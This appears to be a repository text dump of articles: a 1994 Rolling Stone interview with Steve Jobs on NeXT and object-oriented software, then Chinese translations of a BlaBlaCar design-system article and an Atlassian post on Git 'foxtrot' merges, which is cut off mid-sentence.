"In my 20 years in this industry, I have never seen a revolution as profound as this," says Jobs, with characteristic understatement. "You can build software literally five to 10 times faster, and that software is much more reliable, much easier to maintain and much more powerful." _This article appeared in the [June 16, 1994](../../plus/archive#/2/598/C1/S) issue of Rolling Stone. The issue is available in the [online archive.](../../../allaccess)_ Of course, this being Silicon Valley, there is always a new revolution to hype. And to hear it coming from Jobs — Mr. Revolution himself — is bound to raise some eyebrows. "Steve is a little like the boy who cried wolf," says Robert Cringely, a columnist at _Info World,_ a PC industry newsweekly. "He has cried revolution one too many times. People still listen to him, but now they're more skeptical." And even if object-oriented software does take off, Jobs may very well end up a minor figure rather than the flag-waving leader of the pack he clearly sees himself as. Whatever role Jobs ends up playing, there is no question evolutionary forces will soon reshape the software industry. Since the Macintosh changed the world 10 years ago with its brilliant point-and-click interface, all the big leaps in computer evolution have been on the hardware side. Machines have gotten smaller, faster and cheaper. Software, by contrast, has gotten bigger, more complicated and much more expensive to produce. Writing a new spreadsheet or word-processing program these days is a tedious process, like building a skyscraper out of toothpicks. Object-oriented programming will change that. To put it simply, it will allow gigantic, complex programs to be assembled like Tinkertoys. Instead of starting from the ground up every time, layering in one line of code after another, programmers will be able to use preassembled chunks to build 80 percent of a program, thus saving an enormous amount of time and money. Because these objects will work with a wide range of interfaces and applications, they will also eliminate many of the compatibility problems that plague traditional software. For now, the beneficiary of all this is corporate America, which needs powerful custom software to help manage huge databases on its networks. Because of the massive hardware requirements for object-oriented software, it will be years before it becomes practical for small businesses and individual users (decent performance out of NeXT's software on a 486/Pentium processor, for example, requires 24 megs of RAM and 200 megs on a hard drive). Still, in the long run, object-oriented software will vastly simplify the task of writing programs, eventually making it accessible even to folks without degrees from MIT. No one disputes the fact that NeXT has a leg up on this new technology. Unlike most of its competitors, whose object-oriented software is still in the prototype stage, NEXTSTEP (NeXT's operating system software) has been out in the real world for several years. It's been road-tested, revised, refined, and it is, by all accounts, a solid piece of work. Converts include McCaw Cellular, Swiss Bank and Chrysler Financial. But as the overwhelming success of Microsoft has shown, the company with the best product doesn't always win. For NeXT to succeed, it will have to go up against two powerhouses: Taligent, the new partnership of Apple and IBM, and Bill Gates and his $4 billion-a-year Microsoft steamroller. "Right now, it's a horse race between those three companies," says Esther Dyson, a Silicon Valley marketing guru. A recent $10 million deal with Sun Microsystems — the workstation company that was once NeXT's arch rival — has breathed new life into NeXT, but it is only one step in a very long journey. Still, few dare count NeXT out. Today, Jobs, 39, seems eager to distance himself from his reputation as the _Wunderkind_ of the '80s. He wears small, round John Lennon-style glasses now, and his boyish face is hidden behind a shaggy, Left Bank-poet beard. During our interview at the NeXT offices in Redwood City, Calif., just 20 miles north of his old Apple fiefdom, he took particular joy in bashing his old rival Bill Gates but avoided discussing other heavyweights by name. Trademark Jobsian phrases like "insanely great" or "the next big thing" were nowhere to be found. Friends say the _Sturm und Drang_ of the past few years has humbled Jobs ever so slightly; he is a devoted family man now, and on weekends, he can often be seen Rollerblading with his wife and two kids through the streets of Palo Alto. "Remember, this is a guy who never believed any of the rules applied to him," one colleague says. "Now, I think he's finally realized that he's mortal, just like the rest of us." **It's been 10 years since the Macintosh was introduced. When you look around at the technological landscape today, what's most surprising to you?** People say sometimes, "You work in the fastest-moving industry in the world." I don't feel that way. I think I work in one of the slowest. It seems to take forever to get anything done. All of the graphical-user interface stuff that we did with the Macintosh was pioneered at Xerox PARC [the company's legendary Palo Alto Research Center] and with Doug Engelbart at SRI [a future-oriented think tank at Stanford] in the mid-'70s. And here we are, just about the mid-'90s, and it's kind of commonplace now. But it's about a 10-to-20-year lag. That's a long time. The reason for that is, it seems to take a very unique combination of technology, talent, business and marketing and luck to make significant change in our industry. It hasn't happened that often. The other interesting thing is that, in general, business tends to be the fueling agent for these changes. It's simply because they have a lot of money. They're willing to pay money for things that will save them money or give them new capabilities. And that's a hard one sometimes, because a lot of the people who are the most creative in this business aren't doing it because they want to help corporate America. A perfect example is the PDA [Personal Digital Assistant] stuff, like Apple's Newton. I'm not real optimistic about it, and I'll tell you why. Most of the people who developed these PDAs developed them because they thought individuals were going to buy them and give them to their families. My friends started General Magic [a new company that hopes to challenge the Newton]. They think your kids are going to have these, your grandmother's going to have one, and you're going to all send messages. Well, at $1,500 a pop with a cellular modem in them, I don't think too many people are going to buy three or four for their family. The people who are going to buy them in the first five years are mobile professionals. And the problem is, the psychology of the people who develop these things is just not going to enable them to put on suits and hop on planes and go to Federal Express and pitch their product. To make step-function changes, revolutionary changes, it takes that combination of technical acumen and business and marketing — and a culture that can somehow match up the reason you developed your product and the reason people will want to buy it. I have a great respect for incremental improvement, and I've done that sort of thing in my life, but I've always been attracted to the more revolutionary changes. I don't know why. Because they're harder. They're much more stressful emotionally. And you usually go through a period where everybody tells you that you've completely failed. * * * **Is that the period you're emerging from now?** I hope so. I've been there before, and I've recently been there again. As you know, most of what I've done in my career has been software. The Apple II wasn't much software, but the Mac was just software in a cool box. We had to build the box because the software wouldn't run on any other box, but nonetheless, it was mainly software. I was involved in PostScript and the formation of Adobe, and that was all software. And what we've done with NEXTSTEP is really all software. We tried to sell it in a really cool box, but we learned a very important lesson. When you ask people to go outside of the mainstream, they take a risk. So there has to be some important reward for taking that risk or else they won't take it What we learned was that the reward can't be one and a half times better or twice as good. That's not enough. The reward has to be like three or four or five times better to take the risk to jump out of the mainstream. The problem is, in hardware you can't build a computer that's twice as good as anyone else's anymore. Too many people know how to do it. You're lucky if you can do one that's one and a third times better or one and a half times better. And then it's only six months before everybody else catches up. But you can do it in software. As a matter of fact, I think that the leap that we've made is at least five years ahead of anybody. **Let's talk about the evolution of the PC. About 30 percent of American homes have computers. Businesses are wired. Video-game machines are rapidly becoming as powerful as PCs and in the near future will be able to do everything that traditional desktop computers can do. Is the PC revolution over?** No. Well, I don't know exactly what you mean by your question, but I think that the PC revolution is far from over. What happened with the Mac was — well, first I should tell you my theory about Microsoft. Microsoft has had two goals in the last 10 years. One was to copy the Mac, and the other was to copy Lotus' success in the spreadsheet — basically, the applications business. And over the course of the last 10 years, Microsoft accomplished both of those goals. And now they are completely lost. They were able to copy the Mac because the Mac was frozen in time. The Mac didn't change much for the last 10 years. It changed maybe 10 percent. It was a sitting duck. It's amazing that it took Microsoft 10 years to copy something that was a sitting duck. Apple, unfortunately, doesn't deserve too much sympathy. They invested hundreds and hundreds of millions of dollars into R&D, but very little came out They produced almost no new innovation since the original Mac itself. So now, the original genes of the Macintosh have populated the earth. Ninety percent in the form of Windows, but nevertheless, there are tens of millions of computers that work like that. And that's great. The question is, what's next? And what's going to keep driving this PC revolution? If you look at the goal of the '80s, it was really individual productivity. And that could be answered with shrink-wrapped applications [off-the-shelf software]. If you look at the goal of the '90s — well, if you look at the personal computer, it's going from being a tool of computation to a tool of communication. It's going from individual productivity to organizational productivity and also operational productivity. What I mean by that is, the market for mainframe and minicomputers is still as large as the PC market And people don't buy those things to run shrink-wrapped spreadsheets and word processors on. They buy them to run applications that automate the heart of their company. And they don't buy these applications shrink-wrapped. You can't go buy an application to run your hospital, to do derivatives commodities trading or to run your phone network. They don't exist. Or if they do, you have to customize them so much that they're really custom apps by the time you get through with them. These custom applications really used to just be in the back office — in accounting, manufacturing. But as business is getting much more sophisticated and consumers are expecting more and more, these custom apps have invaded the front office. Now, when a company has a new product, it consists of only three things: an idea, a sales channel and a custom app to implement the product. The company doesn't implement the product by hand anymore or service it by hand. Without the custom app, it doesn't have the new product or service. I'll give you an example. MCI's Friends and Family is the most successful business promotion done in the last decade — measured in dollars and cents. AT&T did not respond to that for 18 months. It cost them billions of dollars. Why didn't they? They're obviously smart guys. They didn't because they couldn't create a custom app to run a new billing system. **So how does this connect with the next generation of the PC?** I believe the next generation of the PC is going to be driven by much more advanced software, and it's going to be driven by custom software for business. Business has focused on shrink-wrapped software on the PCs, and that's why PCs haven't really touched the heart of the business. And now they want to bring them into the heart of the business, and everyone is going to have to run custom apps alongside their shrink-wrapped apps because that's how the enterprise is going to get their competitive advantage in things. For example, McCaw Cellular, the largest cellular provider in the world, runs the whole front end of their business on NEXTSTEP now. They're giving PCs with custom apps to the phone dealers so that when you buy a cellular phone, it used to take you a day and a half to get you up on the network. Now it takes five minutes. The phone dealer just runs these custom apps, they're networked back to a server in Seattle, and in a minute and a half, with no human intervention, your phone works on the entire McCaw network. In addition to that, the applications business right now — if you look at even the shrink-wrap business — is contracting dramatically. It now takes 100 to 200 people one to two years just to do a major revision to a word processor or spreadsheet. And so, all the really creative people who like to work in small teams of three, four, five people, they've all been squeezed out of that business. As you may know, Windows is the worst development environment ever made. And Microsoft doesn't have any interest in making it better, because the fact that its really hard to develop apps in Windows plays to Microsoft's advantage. You can't have small teams of programmers writing word processors and spreadsheets — it might upset their competitive advantage. And they can afford to have 200 people working on a project, no problem. With our technology, with objects, literally three people in a garage can blow away what 200 people at Microsoft can do. Literally can blow it away. Corporate America has a need that is so huge and can save them so much money, or make them so much money, or cost them so much money if they miss it, that they are going to fuel the object revolution. **That may be so. But when people think of Steve Jobs, they think of the man whose mission was to bring technology to the masses — not to corporate America.** Well, life is always a little more complicated than it appears to be. What drove the success of the Apple II for many years and let consumers have the benefit of that product was Visi-Calc selling into corporate America. Corporate America was buying Apple IIs and running Visi-Calc on them like crazy so that we could get our volumes up and our prices down and sell that as a consumer product on Mondays and Wednesdays and Fridays while selling it to business on Tuesdays and Thursdays. We were giving away Macintoshes to higher ed while we were selling them for a nice profit to corporate America. So it takes both. What's going to fuel the object revolution is not the consumer. The consumer is not going to see the benefits until after business sees them and we begin to get this stuff into volume. Because unfortunately, people are not rebelling against Microsoft. They don't know any better. They're not sitting around thinking that they have a giant problem that needs to be solved — whereas corporations are. The PC market has done less and less to serve their growing needs. They have a giant need, and they know it. We don't have to spend money educating them about the problem — they know they have a problem. There's a giant vacuum sucking us in there, and there's a lot of money in there to fuel the development of this object industry. And everyone will benefit from that I visited Xerox PARC in 1979, when I was at Apple. That visit's been written about — it was a very important visit. I remember being shown their rudimentary graphical-user interface. It was incomplete, some of it wasn't even right, but the germ of the idea was there. And within 10 minutes, it was so obvious that every computer would work this way someday. You knew it with every bone in your body. Now, you could argue about the number of years it would take, you could argue about who the winners and losers in terms of companies in the industry might be, but I don't think rational people could argue that every computer would work this way someday. I feel the same way about objects, with every bone in my body. All software will be written using this object technology someday. No question about it. You can argue about how many years it's going to take, you can argue who the winners and losers are going to be in terms of the companies in this industry, but I don't think a rational person can argue that all software will not be built this way. * * * **Would you explain, in simple terms, exactly what object-oriented software is?** Objects are like people. They're living, breathing things that have knowledge inside them about how to do things and have memory inside them so they can remember things. And rather than interacting with them at a very low level, you interact with them at a very high level of abstraction, like we're doing right here. Here's an example: If I'm your laundry object, you can give me your dirty clothes and send me a message that says, "Can you get my clothes laundered, please." I happen to know where the best laundry place in San Francisco is. And I speak English, and I have dollars in my pockets. So I go out and hail a taxicab and tell the driver to take me to this place in San Francisco. I go get your clothes laundered, I jump back in the cab, I get back here. I give you your clean clothes and say, "Here are your clean clothes." You have no idea how I did that. You have no knowledge of the laundry place. Maybe you speak French, and you can't even hail a taxi. You can't pay for one, you don't have dollars in your pocket. Yet I knew how to do all of that. And you didn't have to know any of it. All that complexity was hidden inside of me, and we were able to interact at a very high level of abstraction. That's what objects are. They encapsulate complexity, and the interfaces to that complexity are high level. **You brought up Microsoft earlier. How do you feel about the fact that Bill Gates has essentially achieved dominance in the software industry with what amounts to your vision of how personal computers should work?** I don't really know what that all means. If you say, well, how do you feel about Bill Gates getting rich off some of the ideas that we had ... well, you know, the goal is not to be the richest man in the cemetery. It's not my goal anyway. The thing I don't think is good is that I don't believe Microsoft has transformed itself into an agent for improving things, an agent for coming up with the next revolution. The Japanese, for example, used to be accused of just copying — and indeed, in the beginning, that's just what they did. But they got quite a bit more sophisticated and started to innovate — look at automobiles, they certainly innovated quite a bit there. I can't say the same thing about Microsoft. And I become very concerned, because I see Microsoft competing very fiercely and putting a lot of companies out of business — some deservedly so and others not deservedly so. And I see a lot of innovation leaving this industry. What I believe very strongly is that the industry absolutely needs an alternative to Microsoft. And it needs an alternative to Microsoft in the applications area — which I hope will be Lotus. And we also need an alternative to Microsoft in the systems-software area. And the only hope we have for that, in my opinion, is NeXT. **Microsoft, of course, is working on their own object-oriented operating system —** They were working on the Mac for 10 years, too. I'm sure they're working on it Microsoft's greatest asset is Windows. Their greatest liability is Windows. Windows is so nonobject-oriented that it's going to be impossible for them to go back and become object-oriented without throwing Windows away, and they can't do that for years. So they're going to try to patch things on top, and it's not going to work. **You've called Microsoft the IBM of the '90s. What exactly do you mean by that?** They're the mainstream. And a lot of people who don't want to think about it too much are just going to buy their product. They have a market dominance now that is so great that it's actually hurting the industry. I don't like to get into discussions about whether they accomplished that fairly or not That's for others to decide. I just observe it and say it's not healthy for the country. **What do you think of the federal antitrust investigation?** I don't have enough data to know. And again, the issue is not whether they accomplished what they did within the rule book or by breaking some of the rules. I'm not qualified to say. But I don't think it matters. I don't think that's the real issue. The real issue is, America is leading the world in software technology right now, and that is such a valuable asset for this country that anything that potentially threatens that leadership needs to be examined. I think the Microsoft monopoly of both sectors of the software industry — both the system and the applications software and the potential third sector that they want to monopolize, which is the consumer set-top-box sector — is going to pose the greatest threat to Americas dominance in the software industry of anything I have ever seen and could ever think of. I personally believe that it would be in the best interest of the country to break Microsoft up into three companies — a systems-software company, an applications-software company and a consumer-software company. **Hearing you talk like this makes me flash back to the old Apple days, when Apple cast itself in the role of the rebel against the establishment. Except now, instead of IBM, the great evil is Microsoft. And instead of Apple that will save us, it's NeXT. Do you see parallels here, too?** Yeah, I do. Forget about me. That's not important. What's important is, I see tremendous parallels between the solidity and dominance that IBM had and the shackles that that was imposing on our industry and what Microsoft is doing today.... I think we came closer than we think to losing some of our computer industry in the late '70s and early '80s, and I think the gradual dissolution of IBM has been the healthiest thing that's happened in this industry in the last 10 years. **What's your personal relationship with Bill Gates like?** I think Bill Gates is a good guy. We're not best friends, but we talk maybe once a month. **A lot has been made of the rivalry between you two. The two golden boys of the computer revolution —** I think Bill and I have very different value systems. I like Bill very much, and I certainly admire his accomplishments, but the companies we built were very different from each other. **A lot of people believe that given the stranglehold Microsoft has on the software business, in the long run, the best NeXT can hope for is that it will be a niche product.** Apple's a niche product, the Mac was a niche product And yet look at what it did. Apple's, what, a $9 billion company. It was $2 billion when I left They're doing OK. Would I be happy if we had a 10 percent market share of the system-software business? I'd be happy now. I'd be very happy. Then I'd go work like crazy to get 20. **You mentioned the Apple earlier. When you look at the company you founded now, what do you think?** I don't want to talk about Apple. * * * **What about the PowerPC?** It works fine. It's a Pentium. The PowerPC and the Pentium are equivalent, plus or minus 10 or 20 percent, depending on which day you measure them. They're the same thing. So Apple has a Pentium. That's good. Is it three or four or five times better? No. Will it ever be? No. But it beats being behind. Which was where the Motorola 68000 architecture was unfortunately being relegated. It keeps them at least equal, but it's not a compelling advantage. **You can't open the paper these days without reading about the Internet and the information superhighway. Where is this all going?** The Internet is nothing new. It has been happening for 10 years. Finally, now, the wave is cresting on the general computer user. And I love it. I think the den is far more interesting than the living room. Putting the Internet into people's houses is going to be really what the information superhighway is all about, not digital convergence in the set-top box. All that's going to do is put the video rental stores out of business and save me a trip to rent my movie. I'm not very excited about that. I'm not excited about home shopping. I'm very excited about having the Internet in my den. **Phone companies, cable companies and Hollywood are jumping all over each other trying to get a piece of the action. Who do you think will be the winners and losers, say, five years down the road?** I've talked to some of these guys in the phone and cable business, and believe me, they have no idea what they're doing here. And the people who are talking the loudest know the least **Who are you referring to –John Malone?** I don't want to name names. Let me just say that, in general, they have no idea how difficult this is going to be and how long it is going to take. None of these guys understands computer science. They don't understand that that's a little computer that they're going to have in the set-top box, and in order to run that computer, they're going to have to come up with some very sophisticated software. **Let's talk more about the Internet. Every month, it's growing by leaps and bounds. How is this new communications web going to affect the way we live in the future?** I don't think it's too good to talk about these kinds of things. You can open up any book and hear all about this kind of garbage. **I'm interested in bearing your ideas.** I don't think of the world that way. I'm a tool builder. That's how I think of myself. I want to build really good tools that I know in my gut and my heart will be valuable. And then whatever happens is... you can't really predict exactly what will happen, but you can feel the direction that we're going. And that's about as close as you can get. Then you just stand back and get out of the way, and these things take on a life of their own. **Nevertheless, you've often talked about how technology can empower people, how it can change their lives. Do you still have as much faith in technology today as you did when you started out 20 years ago?** Oh, sure. It's not a faith in technology. It's faith in people. **Explain that.** Technology is nothing. What's important is that you have a faith in people, that they're basically good and smart, and if you give them tools, they'll do wonderful things with them. It's not the tools that you have faith in — tools are just tools. They work, or they don't work. It's people you have faith in or not. Yeah, sure, I'm still optimistic I mean, I get pessimistic sometimes but not for long. **It's been 10 years since the PC revolution started. Rational people can debate about whether technology has made the world a better place –** The world's clearly a better place. Individuals can now do things that only large groups of people with lots of money could do before. What that means is, we have much more opportunity for people to get to the marketplace — not just the marketplace of commerce but the marketplace of ideas. The marketplace of publications, the marketplace of public policy. You name it. We've given individuals and small groups equally powerful tools to what the largest, most heavily funded organizations in the world have. And that trend is going to continue. You can buy for under $10,000 today a computer that is just as powerful, basically, as one anyone in the world can get their hands on. The second thing that we've done is the communications side of it. By creating this electronic web, we have flattened out again the difference between the lone voice and the very large organized voice. We have allowed people who are not part of an organization to communicate and pool their interests and thoughts and energies together and start to act as if they were a virtual organization. So I think this technology has been extremely rewarding. And I don't think it's anywhere near over. **When you were talking about Bill Gates, you said that the goal is not to be the richest guy in the cemetery. What is the goal?** I don't know how to answer you. In the broadest context, the goal is to seek enlightenment — however you define it. But these are private things. I don't want to talk about this kind of stuff. **Why?** I think, especially when one is somewhat in the public eye, it's very important to keep a private life. **Are you uncomfortable with your status as a celebrity in Silicon Valley?** I think of it as my well-known twin brother. It's not me. Because otherwise, you go crazy. You read some negative article some idiot writes about you — you just can't take it too personally. But then that teaches you not to take the really great ones too personally either. People like symbols, and they write about symbols. **I talked to some of the original Mac designers the other day, and they mentioned the 10-year-annniversary celebration of the Mac a few months ago. You didn't want to participate in that. Has it been a burden, the pressure to repeat the phenomenal success of the Mac? Some people have compared you to Orson Welles, who at 25 did his best work, and it's all downhill from there.** I'm very flattered by that, actually. I wonder what game show I'm going to be on. Guess I'm going to have to start eating a lot of pie. [Laughs.] I don't know. The Macintosh was sort of like this wonderful romance in your life that you once had — and that produced about 10 million children. In a way it will never be over in your life. You'll still smell that romance every morning when you get up. And when you open the window, the cool air will hit your face, and you'll smell that romance in the air. And you'll see your children around, and you feel good about it. And nothing will ever make you feel bad about it. But now, your life has moved on. You get up every morning, and you might remember that romance, but then the whole day is in front of you to do something wonderful with. But I also think that what we're now may turn out in the end to be more profound. Because the Macintosh was the agent of change to bring computers to the rest of us with its graphical-user interface. That was very important. But now the industry is up against a really big closed door. Objects are going to unlock that door. On the other side is a world so rich from this well of software that will spring up that the true promise of many of the things we started, even with the Apple II, will finally start to be realized. After that ... who knows? Maybe there's another locked door behind this door, too; I don't know. But someone else is going to have to figure out how to unlock that one. ================================================ FILE: TODO/stop-designing-interfaces-start-designing-experiences.md ================================================ > * 原文地址:[Stop designing interfaces, Start designing experiences](https://medium.com/blablacar-design/stop-designing-interfaces-start-designing-experiences-d82def0b802c#.tm2nitn97) * 原文作者:[DUVAL Nicolas](https://medium.com/@nicolaseek?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Kulbear](https://kulbear.github.com/) * 校对者:[owenlyn](https://github.com/owenlyn), [bobmayuze(Yuze Ma)](https://github.com/bobmayuze) # 别再设计你的应用界面了,在用户体验上下点功夫吧 > 这篇文章是我们新发布的界面指南的一部分 #### 混乱的过程往往导致混乱的结果 八个月前,在一个机构工作一段时间后,我终于决定给自己一个新的挑战。现在可以很自豪地说,我加入 BlaBlaCar 的设计团队。 在刚到这家公司的前几周时,我是真的对他们的工作方式有些无语。 他们的工具仅仅是一个空空的 Sketch 文件,一块儿白板和两部用来给应用做测试截屏的手机。 ![](https://cdn-images-1.medium.com/max/800/1*o4z8igVxDHWdYsH2gyxytg.png) BlaBlaCar 的设计师们所使用的工具: 一个空的 Sketch 文件和两部测试机。 他们通过直接向 Sketch 里导入截屏的方式来设计一个页面或流程——裁剪截图,直接在截图上编辑,遮盖或是创建一些新的元素,也有时候从之前完成的文件中拿点儿什么之前完成的组件...从始至终都能听到他们的自言自语,比如,“边距多少是合适的?”,“这个按钮要设计成什么尺寸?”,“哪个颜色最好看?”等等。 我发现,我自己为了避免重新创建一些已经有了的组件,总是在问我的同事诸如去哪个文件里找到我需要的按钮或者导航栏这样的问题... ![](https://cdn-images-1.medium.com/max/800/1*oBE_ubLfATsMbN2F7mNaAg.png) 这分别是同一个私人资料界面在 Android, iOS, MWeb 和 Web 上的样式。为什么要差的这么多呢? #### 从杂乱无章到井然有序 我总会记得问自己:“他们是如何管理这么多不同平台,不同逻辑甚至不同设计的同一个界面的呢?”其实答案很简单:**他们根本没有花心思管理这件事儿。**。 这种工作方式可能仅仅适用于两三人的团队。其实,我们都知道这样的工作方式对于维持一个快速扩张的团队是非常有挑战性的。我们都认为应该将工作重心放到用户体验上而不是继续在界面设计上浪费时间。 我们决定用一个简单的方法来解决这个问题: ![](https://cdn-images-1.medium.com/max/800/1*l9TGf5aMciH_R_0QXq_0rA.jpeg) 采用乐高的设计模式,将我们用户界面的组件模块化。 LEGOS! 你也许已经听说过仿照乐高风格的设计。是的,给我一箱乐高的砖块,我就能做出所有东西! ![](https://cdn-images-1.medium.com/max/800/1*rOkcMUYTg-GuqdKf1UrEeQ.jpeg) 一架水上飞机, 一辆肌肉车(译者注:常见于北美的一种车型,国人最熟悉的应该是大黄蜂)甚至一条恐龙。 所以我们建立了一个”乐高砖块“风格的组件库,这样我们的设计师就可以用一样的素材了!那么来看看我们的“乐高砖块”(译者注:这里作者想要表达的是可复用等方面的乐高模式,而并不是模仿乐高外观上的设计) ![](https://cdn-images-1.medium.com/max/800/1*8zglU_HkFzdWwV7wO2M45Q.png) 这是一些 BlaBlaCar 设计师使用的用户界面组件的样本 ![](https://cdn-images-1.medium.com/max/1200/1*9spx7jXBRpSrHquOVdnP7A.png) 他们可以很快完成一个页面或流程的设计,并加速迭代和测试的过程。 #### 这到底帮我们节省了多少时间? 你也许好奇我们通过这种方法究竟能省下多少时间。我们其实也好奇这点,于是就做了一个样本测试。我们删掉个人资料的页面,然后让我们的设计师分成两组重新设计它,一组用我们的“乐高组件库”,另一组不用。 ![](https://cdn-images-1.medium.com/max/1200/1*rkFKD6Y69_YqG3NqCEJmEA.png) 这是被重新设计的界面。 我们对他们的设计过程计时了,结果是肯定的: 在不使用我们的“乐高库”的时候他们要花费 24 分钟去完成它,而使用的话就只需要 13 分钟了!我不是想表达我们有多专注于高效,这不是重点,重点是我们的设计师现在可以**少在样式设计上花费 50% 的时间,而在用户体验上多花费这 50% 的时间**,这正是我们期待的结果。 #### 不再有重复的工作 在 BlaBlaCar,我们从未如此满足于此,我们相信通过不断的迭代改善这些界面库,我们可以省下更多的时间。 尝到甜头之后,我们试图继续找出一些重复性又消耗了大量时间的任务。在不断的探索下,我们发现了一个巨大的问题,也是每个设计师每天都会遇到的问题,那就是多平台处理。 ![](https://cdn-images-1.medium.com/max/800/1*WlvXE-kPz2foWIVHfGbzPQ.png) 一个组件 = 多个平台 所有人都知道,先给 iOS 设计一个界面以后还要再重新给 Android 和移动端网页设计同样界面是多么烦人的一件事。我们致力于建立一个组件库,使我们能够在每个平台上使用同样的组件的同时保持兼容性。现在我们的设计师只需要设计一个平台的就够了,因为他知道兼容性完全没有问题。比如,一个前端开发者可以用 iOS 或是 Android 的设计去设计一个同样的移动端网页。 #### 找寻捷径 我们通过这样的管理使设计师们省去了 50% 用于设计界面的时间,也让他们不再需要设计多个平台的界面。不过我们还不满足,我们想要节省更多的时间。现在我们在 BlaBlaCar 所使用的流程如下所示: **设计略图 → 设计框架 → 设计原型 → 最终设计 → 投入开发** 你应该已经明白了,我们并不想让设计师花费时间在这么几个像素点上! 所以接下来我们要做的就是让我们的设计师直接从设计略图这一步跳到开发这一步。 ![](https://cdn-images-1.medium.com/max/800/1*EbgfUlo0iolc4tfllCTruA.png) 我们很自信,通过我们的组件库,设计师将一个设计略图交给开发人员以后,开发人员可以轻松的开发出一个完全符合略图的生产版本。 ![](https://cdn-images-1.medium.com/max/800/1*fxjoQN3wIGeFIuKOfyUfYg.png) > 我们不希望让设计师再花费任何时间在设计样式上了,他们需要专注于用户体验 #### 我们遵循的准则 我们从 Brad Frost 提出的 [Atomic Design](http://bradfrost.com/blog/post/atomic-web-design/) 的方法中获得了灵感。Brad Frost 是被化学所启发的——复杂的有机物由分子组成,而分子又是由原子组成的。如果你还不了解这个方法,我推荐你去读一读他的博客。[点这里](http://bradfrost.com/blog/post/atomic-web-design/) 我们把这个方法完美紧密的套用在了前面提及的乐高砖块模式上,这帮助我们有效的沟通。大家都可以很快的理解并交流我们的意见。公司里任意一个领域的人都无需我们的讲解就能很容易的分享自己的见解。 在实行了这个设计模式几个月后,我总结了一些关于如何使用它的重要准则。这不是什么激动人心的科学成果,不过它确实可以让我们少走些弯路: - **比喻**: 一定要找到一个有力的比喻,来使别人毫不费力的理解你的观点(甚至你无需解释)。 我们选择了乐高,但你也可以选择一些别的 (化学,福特主义,生态学等等) - **沟通**:这是使你的项目不致失败的最重要的一点。 尽可能早的和公司里所有的人沟通好:开发人员, 产品经理, 数据工程师, 设计师, 甚至首席执行官——让他们参与其中。 - **共同的语言**: 没名字的东西是不存在的。确保每个人都知道(并习惯)你在组件上使用的词汇。你不需要太专业,只要确保每个人用同样的方法去叫它就可以了。 - **准则**: 对于选用每一个界面组件都要有准则。如果你不能很好的解释为什么要使用一个组件,那就规定要使用他。 (我会在另一篇文章里谈论这点) - **没有例外**:任何例外都很容易让你们不在保持一致性。即使成品看起来很奇怪,在一开始也要遵守那些准则和组件的设计,千万别搞例外。例外情况往往在你严格遵守准则后都能不攻自破。 我并不是想说我们的方法就一定是正确的。我可能更倾向于说我们的方法更适用于我们的产品视觉设计,而不一定适用于所有公司。我见过许多感兴趣设计系统的人,我很乐于跟他们讨论,获取他们的反馈,和他们辩论,当然也包括你。不久的将来我会继续写一些文章来更精细的描述我们是如何创建现有的这套系统的,在这期间,如果你想了解更多,请联系我。 ================================================ FILE: TODO/stop-foxtrots-now.md ================================================ > * 原文地址:[Protect our Git Repos, Stop Foxtrots Now!](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/) > * 原文作者:[Sylvie Davies](https://developer.atlassian.com/blog/authors/sdavies) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/stop-foxtrots-now.md](https://github.com/xitu/gold-miner/blob/master/TODO/stop-foxtrots-now.md) > * 译者:[LeviDing](https://github.com/leviding) > * 校对者:[薛定谔的猫](https://github.com/Aladdin-ADD)、[luisliuchao](https://github.com/luisliuchao) # 保护我们的 Git Repos,立刻停止“狐步舞” ![狐步舞舞者](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/01-dance.jpg) 舞者们正准备跳狐步舞。 ### 首先,什么是“狐步舞”式的合并? “狐步舞”式的合并是 `git commit` 的一个特别不好的具体顺序。如同在户外看到的“狐步舞”,这种 commits 序列像这个样子: ![“狐步舞”式的合并](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/02-foxtrot.png) 但在公开场合很少会见到“狐步舞”。它们隐藏在树冠之间,树枝之间。我称它们“狐步舞”式,是因为他们交叉的样子,他们看起来像同步舞蹈的舞步顺序: ![狐步示意图](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/foxtrot-redrawn.png) 还有一些人也提到“狐步舞”式的合并,但它们从来没有直接说出它的名字。例如,Junio C. Hamano 的博客有[有趣的 `--first-parent`](http://git-blame.blogspot.ca/2012/03/fun-with-first-parent.html),还有[有趣的非快进方式(Non-Fast-Forward)](http://git-blame.blogspot.ca/2015/03/fun-with-non-fast-forward.html)。David Lowe 的 nestoria.com 有关于[保持一致的线性历史记录](http://devblog.nestoria.com/post/98892582763/maintaining-a-consistent-linear-history-for-git)的文章。此外还有[一](http://longair.net/blog/2009/04/16/git-fetch-and-merge/)[大](http://kernowsoul.com/blog/2012/06/20/4-ways-to-avoid-merge-commits-in-git/)[堆](https://randyfay.com/content/simpler-rebasing-avoiding-unintentional-merge-commits)[人](https://adamcod.es/2014/12/10/git-pull-correct-workflow.html)告诉你要避免使用 `git pull`,而是使用 `git pull –rebase`。为什么?主要是为了避免一般的合并和提交时的错误,此外还可以避免出现该死的“狐步舞”式的提交。 “狐步舞”式的合并真的很不好吗?是的。 ![水母](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/04-jelly.jpg) 它们显然不如僧帽水母那样糟糕。但是“狐步舞”式的合并也是不好的,你不希望你的 git 仓库里有它们的身影。 ### “狐步舞”式的合并为什么不好? “狐步舞”式的合并不好,因为它会改变 `origin/master` 分支的“第一父级”的地位。 合并提交记录的父级是有序的。第一个父级是 `HEAD`。第二个父级是用 `git merge` 命令提交的。 你可以像下面这样想: ```bash git checkout 1st-parent git merge 2nd-parent ``` 如果你是 [octopus 的说客](http://marc.info/?l=linux-kernel&m=139033182525831): ```bash git merge 2nd-parent 3rd-parent 4th-parent ... 8th-parent etc... ``` 这意味着父级的记录就像它听起来一样。当你提交新的代码的时候,忽略第一个父级以外的父级,从而得到一个新的代码记录。对于常规的 `commit`(非 `merge`),第一个父级是唯一的父级,并且对于 `merge` 来说,它是你在输入 `git merge` 时所产生的记录。这种父级概念是直接植入到 Git 里的,并且在很多命令行中都有所体现,例如,`git log –-first-parent`。 “狐步舞”式的合并问题在于,它使得 *origin/master* 由第一父级变成了第二父级。 除了 Git 在评估提交是否有资格进行 `fast-forward` 时,Git 